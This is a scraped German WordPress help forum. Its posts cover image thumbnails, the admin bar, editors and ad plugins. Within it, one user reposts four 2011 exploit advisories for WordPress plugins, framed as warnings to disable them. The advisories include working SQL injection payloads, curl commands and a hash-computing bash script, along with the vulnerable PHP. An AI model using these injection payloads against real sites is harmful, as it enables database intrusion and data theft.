Um schreiben oder kommentieren zu können, benötigen Sie ein Benutzerkonto.
Sie haben schon ein Benutzerkonto? Melden Sie sich hier an.
Jetzt anmeldenHier können Sie ein neues Benutzerkonto erstellen.
Neues Benutzerkonto erstellenWenn ich ein Artikelbild hochlade, stehen mir ja 3 Größen zur Auswahl.
Nun ist es aber so, das ich zu jedem Artikel auch ein Artikelbild erstelle und ein Backup inzwischen knapp 600MB groß ist. Ich habe nun festgstellt das ja zu jedem Artikelbild 3 Thumbs erstellt werden. Was für mich eher unnötig ist. Mir reicht ja am Ende eins. :razz:
Weiß einer ne Lösung, das eben nur 1 erstellt wird?
Super, danke, das hat 1a geklappt.
Nur das unnötiges weg ist. Also ansich nichts wichtiges.
Ich räume mein WP gerade etwas auf und entferne gerade ein paar Dinge die ich, beim Schreiben eh nicht brauch.
Nun wollte ich noch das "+ Neue Kategorie hinzufügen " entfernen aber find nirgends die Stelle nicht.
Kann jemand helfen?
Es geht aber um die Stelle, beim schreiben eines neuen Posts.
e-Commerce plugin <= 3.8.6 SQL Injection Vulnerability
# Exploit Title: WordPress WP e-Commerce plugin <= 3.8.6 SQL Injection Vulnerability
# Date: 2011-09-13
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-e-commerce.3.8.6.zip
# Version: 3.8.6 (tested)
# Note: parameter $_POST["cs3"] == md5(md5(urldecode($_POST["cs1"])))
# it has a "chronopay_salt" option but it's set to '' by default (see more description down below)
---------------
PoC (POST data)
---------------
http://www.site.com/?chronopay_callback=true
cs2=chronopay&cs1=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23&cs3=123f7bcd4ba53fade05886a7e77bf045&transaction_type=rebill
e.g.
#!/bin/bash
payload="-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#"
hash=`echo -n $payload | md5sum | tr -d '\n' | sed 's/\s*-\s*//g' | md5sum | tr -d '\n' | sed 's/\s*-\s*//g'`
curl --data "cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill" http://www.site.com/?chronopay_callback=true
---------------
Vulnerable code
---------------
./wp-e-commerce/wp-shopping-cart.php:
class WP_eCommerce {
...
function init() {
...
$this->load();
...
}
function load() {
...
wpsc_core_load_gateways();
...
}
...
$wpec = new WP_eCommerce();
./wp-e-commerce/wpsc-core/wpsc-functions.php:
function wpsc_core_load_gateways() {
global $nzshpcrt_gateways, $num, $wpsc_gateways,$gateway_checkout_form_fields;
$gateway_directory = WPSC_FILE_PATH . '/wpsc-merchants';
$nzshpcrt_merchant_list = wpsc_list_dir( $gateway_directory );
$num = 0;
foreach ( $nzshpcrt_merchant_list as $nzshpcrt_merchant ) {
if ( stristr( $nzshpcrt_merchant, '.php' ) ) {
require( WPSC_FILE_PATH . '/wpsc-merchants/' . $nzshpcrt_merchant );
}
./wp-e-commerce/wpsc-merchants/chronopay.php:
function nzshpcrt_chronopay_callback()
{
...
if(isset($_GET['chronopay_callback']) && ($_GET['chronopay_callback'] == 'true') && ($_POST['cs2'] == 'chronopay'))
{
$salt = get_option('chronopay_salt');
// - this is by default '' and set only if explicitly stated
// inside Store Settings->Payments->General Settings->
// Chronopay->Edit->Security Key
// - problem is that there are more popular payment gateways enlisted (e.g.
// Google Checkout and PayPal) and if that setting is not explicitly set
// it wide opens the door to the potential attacker
$gen_hash = md5($salt . md5($_POST['cs1'] . $salt));
if($gen_hash == $_POST['cs3'])
{
...
$sessionid = trim(stripslashes($_POST['cs1']));
$transaction_id = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_id'] = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_type'] = trim(stripslashes($_POST['transaction_type']));
switch($verification_data['trans_type'])
{
...
case 'rebill':
$wpdb->query("UPDATE `".WPSC_TABLE_PURCHASE_LOGS."` SET
`processed` = '2',
`transactid` = '".$transaction_id."',
`date` = '".time()."'
WHERE `sessionid` = ".$sessionid." LIMIT 1");
...
add_action('init', 'nzshpcrt_chronopay_callback');
# 1337day.com [2011-09-13]
Wenn du dir tatsächlich solche Sorgen, über deine Kollegen machst, solltest du dir genau überlegen ob du dein Plan mit den Richtigen Leuten machst.
Ich z.B. arbeite schon mehrere Jahre mit Kollegen zusammen und vertrauen ihnen Blind!
Ansonsten könntest du ihnen auch nur bestimmte Rechte auf bestimmte Ordner geben. Kannst du ja alles im FTP Zugang einstellen.
Wie kann ich das Suchfeld aus meiner Adminbar entfernen? Oder auch gewisse andere Dinge die ich darin nicht brauch!? Wobei ich ansonsten die Bar mag. Also ganz möchte ich sie nicht mehr missen.
Wenn man mit der Maus über das Artikelbild fährt, wird ja der Titel des Bildes angezeigt. Dies würde ich aber gern so ändern, dass dort der Postingtitel angezeigt wird. Nur leider führen alle Veränderungen, die ich mache nicht zum gewünschten Erfolg.
Es geht nur um den Bereich, im Code
title="xyz"Was meinst du wieviele User hier lesen und wieviele auf 1337day?
WordPress 3.0.4 (comment_post_ID) <= Blind SQL Injection Vulnerability
http://www.1337day.com/exploits/16882
Tune Library plugin <= 2.17 SQL Injection Vulnerability
Tune Library plugin <= 2.17 SQL Injection Vulnerability
# Exploit Title: WordPress Tune Library plugin <= 2.17 SQL Injection Vulnerability
# Date: 2011-09-10
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/tune-library.zip
# Version: 1.5.1 (tested)
# Notes: magic_quotes has to be turned off
# Plugin setting "Filter artists by letter and show alphabetical navigation" has to be turned on
---
PoC
---
http://www.site.com/wp-content/plu…x.php?letter=-1' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20
---------------
Vulnerable code
---------------
$artistletter = $_GET['letter'];
...
if ($options['oneletter'] == false || $showallartists == true)
...
else
{
if ($artistletter == '#')
...
else
{
$querystr ="SELECT distinct artist, 'artist' as source FROM " . $wpdb->prefix . "tracks where artist != '' and artist like '" .$artistletter . "%' order by artist";
}
}
# 1337day.com [2011-09-10]
Ich selbst nutze das Advertise in Text Plugin
Guten Morgen,
ich würde gern, über meine Artikelbilder, ein transparentes Bild legen. Dabei wäre aber zu beachten, dass ich ich sowohl Artikelbilder mit Hoch als auch im Querformat habe. Im Hochformat haben sie immer eine Höhe von 150px und im Querformat eine 150px Breite.
Ich würde somit 2 png Dateien haben welche dann jeweils darüber kommen.
Wie könnte ich sowas realisieren?
Seit einigen Tagen bin ich auf der Suche nach einem offline Editor für meinen Blog. Ich hab nun schon einige gefunden und getestet aber bei den meisten fehlt immer etwas. :neutral:
Kennt ihr einen, bei dem ich auch "Artikelbild" & "Schlagwörter" mit festlegen kann?
WordPress Eventify - Simple Events plugin <= 1.7.f SQL Injection
# Exploit Title: WordPress Eventify - Simple Events plugin <= 1.7.f SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/eventify.zip
# Version: 1.7.f (tested)
# Note: magic_quotes has to be turned off
---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plu…ventdetails.php
npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9--%20
e.g.:
curl --data "npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9-- " http://www.site.com/wp-content/plu…ventdetails.php
---------------
Vulnerable code
---------------
require_once(str_ireplace("/wp-content","",$_POST['npath']).'/wp-load.php');
$eventid = $_POST['eventid'];
$action = "fetch";
if($action=="fetch"){
...
$qry= "select * from ".$table_name." where em_id='$eventid'" ;
...
$results = $wpdb->get_results($qry);
# 1337day.com [2011-09-07]
Auf 1337day gibts noch weitere Injection, zu einigen Plugins.
Ich würde dazu vielleicht ein Sammelthread mach und es immer posten, weiß nur nicht, ob es hier gern gesehen ist, von der Boardleitung. Ich fände es nur gut, wenn User darüber informiert werden.
[COLOR="Red"]Ich werde hier Lücken in verschieden Plugins posten. Grund ist einfach, um euch vor Hacks zu schützen. Ihr solltet also diese Plugins erstmal deaktivieren.[/COLOR]
WordPress KNR Author List Widget plugin (SQL Injection)
# Exploit Title: WordPress KNR Author List Widget plugin <= 2.0.0 SQL Injection Vulnerability
# Date: 2011-09-06
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/knr-author-list-widget.zip
# Version: 2.0.0 (tested)
---
PoC
---
http://www.site.com/wp-content/plu…ve.php?listItem[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
---------------
Vulnerable code
---------------
foreach ($_GET['listItem'] as $position => $item) :
$iterSql = "UPDATE $wpdb->users SET knr_author_order = $position WHERE ID = $item";
$wpdb->query($iterSql);
endforeach;
# 1337day.com [2011-09-06]
Auf die einfachsten Dinge kommt man aber selten so einfach :p
Ich danke dir, denn genau da ist das Simple Ads Manager Plugin und das ist glaube genau das was ich suche!
Danke, das hilft mir schonmal etwas.
Allerdings bin ich fast davon überzeugt, das es ein Plugin gibt.
Gern schicke ich Interessenten 2 Blogs die ein solches Plugin nutzen müssten.
Wie ich schon in einem anderen Thread geschrieben hab, betreige ich ein Adultblog, nun wollte ich meine Werbung etwas optimieren u z.B. im Bereich Amateure, nur Werbung einblenden, welche mit Amateuren zu tun haben. Aber auch in allen anderen Kategorien sollten nur die Werbung angezeigt werden dort passen.
Gibt es dafür ein passendes Plugin?